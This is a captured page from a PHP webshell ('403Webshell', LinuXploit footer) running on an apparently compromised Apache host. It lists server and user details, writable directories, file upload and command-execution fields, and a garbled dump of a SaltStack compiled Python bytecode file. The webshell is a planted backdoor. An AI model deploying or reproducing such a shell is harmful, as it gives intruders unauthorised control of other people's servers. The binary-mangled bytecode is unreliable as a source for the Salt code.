403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/utils/__pycache__/mako.cpython-310.pyc
o

;j��@spdZzddlmZmZdZWneydZYnwer6ddlZddlZddl	Z
ddlZ
Gdd�de�ZdSdS)z+
Functions for working with Mako templates
�)�TemplateCollection�TemplateLookupTFNc@sDeZdZdZddd�Zdd�Zdd	�Zddd�Zd
d�Zdd�Z	d
S)�SaltMakoTemplateLookupa
        Look up Mako template files using file:// or salt:// URLs with <%include/>
        or <%namespace/>.

        (1) Look up mako template files on local file system via files://... URL.
            Make sure mako template file is present locally on minion beforehand.

          Examples:
            <%include   file="file:///etc/salt/lib/templates/sls-parts.mako"/>
            <%namespace file="file:///etc/salt/lib/templates/utils.mako" import="helper"/>

        (2) Look up mako template files on Salt master via salt://... URL.
            If URL is a relative  path (without an URL scheme) then assume it's relative
            to the directory of the salt file that's doing the lookup. If URL is an absolute
            path then it's treated as if it has been prefixed with salt://.

           Examples::
             <%include   file="templates/sls-parts.mako"/>
             <%include   file="salt://lib/templates/sls-parts.mako"/>
             <%include   file="/lib/templates/sls-parts.mako"/>                 ##-- treated as salt://

             <%namespace file="templates/utils.mako"/>
             <%namespace file="salt://lib/templates/utils.mako" import="helper"/>
             <%namespace file="/lib/templates/utils.mako" import="helper"/>     ##-- treated as salt://

        �baseFcCs.||_||_d|_||_tdd�|_i|_dS)N�/��directories)�opts�saltenv�_file_client�pillar_rendr�lookup�cache)�selfr	r
r�r�C/opt/saltstack/salt/lib/python3.10/site-packages/salt/utils/mako.py�__init__2s
zSaltMakoTemplateLookup.__init__cCs |js
tj�|j|j�|_|jS)z6
            Setup and return file_client
            )r�saltZ
fileclientZget_file_clientr	r)rrrr�file_client:s
�z"SaltMakoTemplateLookup.file_clientcCs@tj�|�j}|dvr
|S|rtd|�d|����|j�||�S)N)r�filezUnsupported URL scheme(z) in )�urllib�parse�urlparse�scheme�
ValueErrorr
�
adjust_uri)r�uri�filenamerrrrrDsz!SaltMakoTemplateLookup.adjust_uriNcCs�|�d�rd}d}|}n2d}|jddkr|jd|j}n
tj�|jdd|j�g}|�|�r2|ntjj�	|�}|�
|�t|d	�|_|j�
|t|�d��S)
Nzfile://rzsalt://r�localZ
file_rootsZcachedir�filesr)�
startswithr	r
�os�path�joinr�utils�url�create�
cache_filerr
�get_template�len)rrZ
relativeto�protoZ
searchpathZsalt_urirrrr(Ls
�
z#SaltMakoTemplateLookup.get_templatecCs.||jvr|���|dd|j�|j|<dSdS)N�T)rrZget_filer
)rZfpathrrrr'_s


��z!SaltMakoTemplateLookup.cache_filecCs:|jr|j}d|_z|��WdStyYdSwdS�N)r�destroy�AttributeError)rrrrrr-es��zSaltMakoTemplateLookup.destroy)rFr,)
�__name__�
__module__�__qualname__�__doc__rrrr(r'r-rrrrrs


r)
r2Zmako.lookuprrZHAS_MAKO�ImportErrorr!�urllib.parserZsalt.fileclientrZsalt.utils.urlrrrrr�<module>s��

Youez - 2016 - github.com/yon3zu
LinuXploit